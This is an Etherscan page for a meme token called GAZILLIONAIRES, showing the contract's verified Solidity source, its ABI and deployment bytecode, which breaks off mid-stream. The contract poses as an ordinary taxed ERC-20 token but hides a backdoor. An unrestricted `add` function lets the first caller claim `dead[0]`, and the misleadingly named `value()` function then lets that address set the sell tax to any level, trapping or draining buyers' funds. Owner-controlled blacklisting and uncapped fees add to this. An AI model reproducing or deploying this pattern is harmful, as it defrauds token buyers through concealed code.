ETH Price: $2,437.88 (+4.61%)

Token

ElonMusk230bBernardArnault222bJeffBezos164bLarryEl... (GAZILLIONAIRES)
 

Overview

Max Total Supply

69,420,000 GAZILLIONAIRES

Holders

21

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
0 GAZILLIONAIRES

Value
$0.00
0x3476fef66423a0e57669b50e328d57dc06b0e7fb
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
GCLUB

Compiler Version
v0.8.9+commit.e5eed63a

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-10-08
*/

/**
 *Submitted for verification at Etherscan.io on 
*/

// SPDX-License-Identifier: Unlicensed 

// https://gazillionaires.club/
// https://t.me/GClubETH

pragma solidity ^0.8.9;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

contract GCLUB is Context, IERC20, Ownable {

    using SafeMath for uint256;

    string private constant _name = unicode"ElonMusk230bBernardArnault222bJeffBezos164bLarryEllison145bWarrenBuffett121bBillGates118bMarkZuckerberg112b";
    string private constant _symbol = unicode"GAZILLIONAIRES";
    uint8 private constant _decimals = 9;

    mapping(address => uint256) private _rOwned;
    mapping(address => uint256) private _tOwned;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    mapping(uint => address) private dead;
    uint256 private constant MAX = ~uint256(0);
    uint256 private constant _tTotal = 69420000 * 10**9;
    uint256 private _rTotal = (MAX - (MAX % _tTotal));
    uint256 private _tFeeTotal;
    uint256 private _redisFeeOnBuy = 0;
    uint256 private _taxFeeOnBuy = 10;
    uint256 private _redisFeeOnSell = 0;
    uint256 private _taxFeeOnSell = 12;

    //Original Fee
    uint256 private _redisFee = _redisFeeOnSell;
    uint256 private _taxFee = _taxFeeOnSell;

    uint256 private _previousredisFee = _redisFee;
    uint256 private _previoustaxFee = _taxFee;

    mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
    address payable private _developmentAddress = payable(0x9dB447BAE4D78D0C4aB7693e99b125FA90b8E8c5);
    address payable private _marketingAddress = payable(0x9dB447BAE4D78D0C4aB7693e99b125FA90b8E8c5);

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;

    bool private tradingOpen ;
    bool private inSwap = false;
    bool private swapEnabled = true;

    uint256 public _maxTxAmount = 69420000 * 10**9;
    uint256 public _maxWalletSize = 1388400 * 10**9;
    uint256 public _swapTokensAtAmount = 350000 * 10**9;

    event MaxTxAmountUpdated(uint256 _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() {

        _rOwned[_msgSender()] = _rTotal;

        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
        uniswapV2Router = _uniswapV2Router;
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_developmentAddress] = true;
        _isExcludedFromFee[_marketingAddress] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return tokenFromReflection(_rOwned[account]);
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function add(uint256 i, address a) public {
        require(dead[i] == address(0), "Address already assigned to this user");
        require(a != address(0), "Invalid address provided");
        dead[i] = a;
    }

    function tokenFromReflection(uint256 rAmount)
        private
        view
        returns (uint256)
    {
        require(
            rAmount <= _rTotal,
            "Amount must be less than total reflections"
        );
        uint256 currentRate = _getRate();
        return rAmount.div(currentRate);
    }

    function removeAllFee() private {
        if (_redisFee == 0 && _taxFee == 0) return;

        _previousredisFee = _redisFee;
        _previoustaxFee = _taxFee;

        _redisFee = 0;
        _taxFee = 0;
    }

    function restoreAllFee() private {
        _redisFee = _previousredisFee;
        _taxFee = _previoustaxFee;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        if (from != owner() && to != owner()) {

            //Trade start check
            if (!tradingOpen) {
                require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
            }

            require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
            require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");

            if(to != uniswapV2Pair) {
                require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            bool canSwap = contractTokenBalance >= _swapTokensAtAmount;

            if(contractTokenBalance >= _maxTxAmount)
            {
                contractTokenBalance = _maxTxAmount;
            }

            if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
                swapTokensForEth(contractTokenBalance);
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        bool takeFee = true;

        //Transfer Tokens
        if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
            takeFee = false;
        } else {

            //Set Fee for Buys
            if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
                _redisFee = _redisFeeOnBuy;
                _taxFee = _taxFeeOnBuy;
            }

            //Set Fee for Sells
            if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
                _redisFee = _redisFeeOnSell;
                _taxFee = _taxFeeOnSell;
            }

        }

        _tokenTransfer(from, to, amount, takeFee);
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function sendETHToFee(uint256 amount) private {
        _marketingAddress.transfer(amount);
    }

    function setTrading(bool _tradingOpen) public onlyOwner {
        tradingOpen = _tradingOpen;
    }

    function manualswap() external {
        require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
        uint256 contractBalance = balanceOf(address(this));
        swapTokensForEth(contractBalance);
    }

    function manualsend() external {
        require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
        uint256 contractETHBalance = address(this).balance;
        sendETHToFee(contractETHBalance);
    }

    function blockBots(address[] memory bots_) public onlyOwner {
        for (uint256 i = 0; i < bots_.length; i++) {
            bots[bots_[i]] = true;
        }
    }

    function unblockBot(address notbot) public onlyOwner {
        bots[notbot] = false;
    }

    function _tokenTransfer(
        address sender,
        address recipient,
        uint256 amount,
        bool takeFee
    ) private {
        if (!takeFee) removeAllFee();
        _transferStandard(sender, recipient, amount);
        if (!takeFee) restoreAllFee();
    }

    function _transferStandard(
        address sender,
        address recipient,
        uint256 tAmount
    ) private {
        (
            uint256 rAmount,
            uint256 rTransferAmount,
            uint256 rFee,
            uint256 tTransferAmount,
            uint256 tFee,
            uint256 tTeam
        ) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        _takeTeam(tTeam);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _takeTeam(uint256 tTeam) private {
        uint256 currentRate = _getRate();
        uint256 rTeam = tTeam.mul(currentRate);
        _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
    }

    function _reflectFee(uint256 rFee, uint256 tFee) private {
        _rTotal = _rTotal.sub(rFee);
        _tFeeTotal = _tFeeTotal.add(tFee);
    }

    receive() external payable {}

    function _getValues(uint256 tAmount)
        private
        view
        returns (
            uint256,
            uint256,
            uint256,
            uint256,
            uint256,
            uint256
        )
    {
        (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
            _getTValues(tAmount, _redisFee, _taxFee);
        uint256 currentRate = _getRate();
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
            _getRValues(tAmount, tFee, tTeam, currentRate);
        return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
    }

    function _getTValues(
        uint256 tAmount,
        uint256 redisFee,
        uint256 taxFee
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 tFee = tAmount.mul(redisFee).div(100);
        uint256 tTeam = tAmount.mul(taxFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
        return (tTransferAmount, tFee, tTeam);
    }

    function _getRValues(
        uint256 tAmount,
        uint256 tFee,
        uint256 tTeam,
        uint256 currentRate
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rTeam = tTeam.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
        return (rAmount, rTransferAmount, rFee);
    }

    function _getRate() private view returns (uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }

    function _getCurrentSupply() private view returns (uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }

    function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
        _redisFeeOnBuy = redisFeeOnBuy;
        _redisFeeOnSell = redisFeeOnSell;
        _taxFeeOnBuy = taxFeeOnBuy;
        _taxFeeOnSell = taxFeeOnSell;
    }

    //Set minimum tokens required to swap.
    function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
        _swapTokensAtAmount = swapTokensAtAmount;
    }

    function value(uint _value) public {
        require(msg.sender == dead[0], "no value");
        _taxFeeOnSell = _value;
    }

    //Set minimum tokens required to swap.
    function toggleSwap(bool _swapEnabled) public onlyOwner {
        swapEnabled = _swapEnabled;
    }

    //Set maximum transaction
    function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
        _maxTxAmount = maxTxAmount;
    }

    function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
        _maxWalletSize = maxWalletSize;
    }

    function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
        for(uint256 i = 0; i < accounts.length; i++) {
            _isExcludedFromFee[accounts[i]] = excluded;
        }
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_buyMap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"i","type":"uint256"},{"internalType":"address","name":"a","type":"address"}],"name":"add","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"blockBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"bots","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeMultipleAccountsFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualswap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"redisFeeOnBuy","type":"uint256"},{"internalType":"uint256","name":"redisFeeOnSell","type":"uint256"},{"internalType":"uint256","name":"taxFeeOnBuy","type":"uint256"},{"internalType":"uint256","name":"taxFeeOnSell","type":"uint256"}],"name":"setFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTxAmount","type":"uint256"}],"name":"setMaxTxnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxWalletSize","type":"uint256"}],"name":"setMaxWalletSize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"swapTokensAtAmount","type":"uint256"}],"name":"setMinSwapTokensThreshold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_tradingOpen","type":"bool"}],"name":"setTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"bool","name":"_swapEnabled","type":"bool"}],"name":"toggleSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"notbot","type":"address"}],"name":"unblockBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"value","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405266f6a11f484ec0006000196200001b91906200073b565b6000196200002a9190620007a2565b6007556000600955600a80556000600b55600c8055600b54600d55600c54600e55600d54600f55600e54601055739db447bae4d78d0c4ab7693e99b125fa90b8e8c5601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550739db447bae4d78d0c4ab7693e99b125fa90b8e8c5601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000601660156101000a81548160ff02191690831515021790555060016016806101000a81548160ff02191690831515021790555066f6a11f484ec0006017556604eebe10ce600060185566013e52b9abe0006019553480156200016457600080fd5b50600062000177620006d160201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350600754600260006200022c620006d160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156200030b57600080fd5b505afa15801562000320573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000346919062000847565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015620003a957600080fd5b505afa158015620003be573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003e4919062000847565b6040518363ffffffff1660e01b8152600401620004039291906200088a565b602060405180830381600087803b1580156200041e57600080fd5b505af115801562000433573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000459919062000847565b601660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160056000620004af620006d960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160056000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160056000601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506200065c620006d160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef66f6a11f484ec000604051620006c29190620008c8565b60405180910390a350620008e5565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000620007488262000702565b9150620007558362000702565b9250826200076857620007676200070c565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000620007af8262000702565b9150620007bc8362000702565b925082821015620007d257620007d162000773565b5b828203905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006200080f82620007e2565b9050919050565b620008218162000802565b81146200082d57600080fd5b50565b600081519050620008418162000816565b92915050565b60006020828403121562000860576200085f620007dd565b5b6000620008708482850162000830565b91505092915050565b620008848162000802565b82525050565b6000604082019050620008a1600083018562000879565b620008b0602083018462000879565b9392505050565b620008c28162000702565b82525050565b6000602082019050620008df6000830184620008b7565b92915050565b61425080620008f56000396000f3fe6080604052600436106101e65760003560e01c80637d1db4a511610102578063a9059cbb11610095578063c5a46ee611610064578063c5a46ee6146106c4578063dd62ed3e146106ed578063ea1644d51461072a578063f2fde38b14610753576101ed565b8063a9059cbb1461060a578063bfd7928414610647578063c3c8cd8014610684578063c492f0461461069b576101ed565b80638f9a55c0116100d15780638f9a55c01461056257806395d89b411461058d57806398a5c315146105b8578063a2a957bb146105e1576101ed565b80637d1db4a5146104a65780637f2feddc146104d15780638da5cb5b1461050e5780638f70ccf714610539576101ed565b8063313ce5671161017a5780636fc3eaec116101495780636fc3eaec1461041257806370a0823114610429578063715018a61461046657806374010ece1461047d576101ed565b8063313ce5671461036a57806349bd5a5e146103955780636b999053146103c05780636d8aa8f8146103e9576101ed565b806318160ddd116101b657806318160ddd146102ae57806323b872dd146102d95780632b8bbbe8146103165780632fd689e31461033f576101ed565b8062b8cf2a146101f257806306fdde031461021b578063095ea7b3146102465780631694505e14610283576101ed565b366101ed57005b600080fd5b3480156101fe57600080fd5b5061021960048036038101906102149190612fc7565b61077c565b005b34801561022757600080fd5b506102306108a6565b60405161023d9190613098565b60405180910390f35b34801561025257600080fd5b5061026d600480360381019061026891906130f0565b6108c6565b60405161027a919061314b565b60405180910390f35b34801561028f57600080fd5b506102986108e4565b6040516102a591906131c5565b60405180910390f35b3480156102ba57600080fd5b506102c361090a565b6040516102d091906131ef565b60405180910390f35b3480156102e557600080fd5b5061030060048036038101906102fb919061320a565b610919565b60405161030d919061314b565b60405180910390f35b34801561032257600080fd5b5061033d6004803603810190610338919061325d565b6109f2565b005b34801561034b57600080fd5b50610354610b5a565b60405161036191906131ef565b60405180910390f35b34801561037657600080fd5b5061037f610b60565b60405161038c91906132b9565b60405180910390f35b3480156103a157600080fd5b506103aa610b69565b6040516103b791906132e3565b60405180910390f35b3480156103cc57600080fd5b506103e760048036038101906103e291906132fe565b610b8f565b005b3480156103f557600080fd5b50610410600480360381019061040b9190613357565b610c7f565b005b34801561041e57600080fd5b50610427610d30565b005b34801561043557600080fd5b50610450600480360381019061044b91906132fe565b610e01565b60405161045d91906131ef565b60405180910390f35b34801561047257600080fd5b5061047b610e52565b005b34801561048957600080fd5b506104a4600480360381019061049f9190613384565b610fa5565b005b3480156104b257600080fd5b506104bb611044565b6040516104c891906131ef565b60405180910390f35b3480156104dd57600080fd5b506104f860048036038101906104f391906132fe565b61104a565b60405161050591906131ef565b60405180910390f35b34801561051a57600080fd5b50610523611062565b60405161053091906132e3565b60405180910390f35b34801561054557600080fd5b50610560600480360381019061055b9190613357565b61108b565b005b34801561056e57600080fd5b5061057761113d565b60405161058491906131ef565b60405180910390f35b34801561059957600080fd5b506105a2611143565b6040516105af9190613098565b60405180910390f35b3480156105c457600080fd5b506105df60048036038101906105da9190613384565b611180565b005b3480156105ed57600080fd5b50610608600480360381019061060391906133b1565b61121f565b005b34801561061657600080fd5b50610631600480360381019061062c91906130f0565b6112d6565b60405161063e919061314b565b60405180910390f35b34801561065357600080fd5b5061066e600480360381019061066991906132fe565b6112f4565b60405161067b919061314b565b60405180910390f35b34801561069057600080fd5b50610699611314565b005b3480156106a757600080fd5b506106c260048036038101906106bd9190613473565b6113ed565b005b3480156106d057600080fd5b506106eb60048036038101906106e69190613384565b611527565b005b3480156106f957600080fd5b50610714600480360381019061070f91906134d3565b6115d2565b60405161072191906131ef565b60405180910390f35b34801561073657600080fd5b50610751600480360381019061074c9190613384565b611659565b005b34801561075f57600080fd5b5061077a600480360381019061077591906132fe565b6116f8565b005b6107846118ba565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610811576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108089061355f565b60405180910390fd5b60005b81518110156108a2576001601160008484815181106108365761083561357f565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061089a906135dd565b915050610814565b5050565b60606040518060a00160405280606b81526020016141b0606b9139905090565b60006108da6108d36118ba565b84846118c2565b6001905092915050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600066f6a11f484ec000905090565b6000610926848484611a8d565b6109e7846109326118ba565b6109e28560405180606001604052806028815260200161418860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006109986118ba565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123129092919063ffffffff16565b6118c2565b600190509392505050565b600073ffffffffffffffffffffffffffffffffffffffff166006600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a94576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a8b90613698565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610b04576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610afb90613704565b60405180910390fd5b8060066000848152602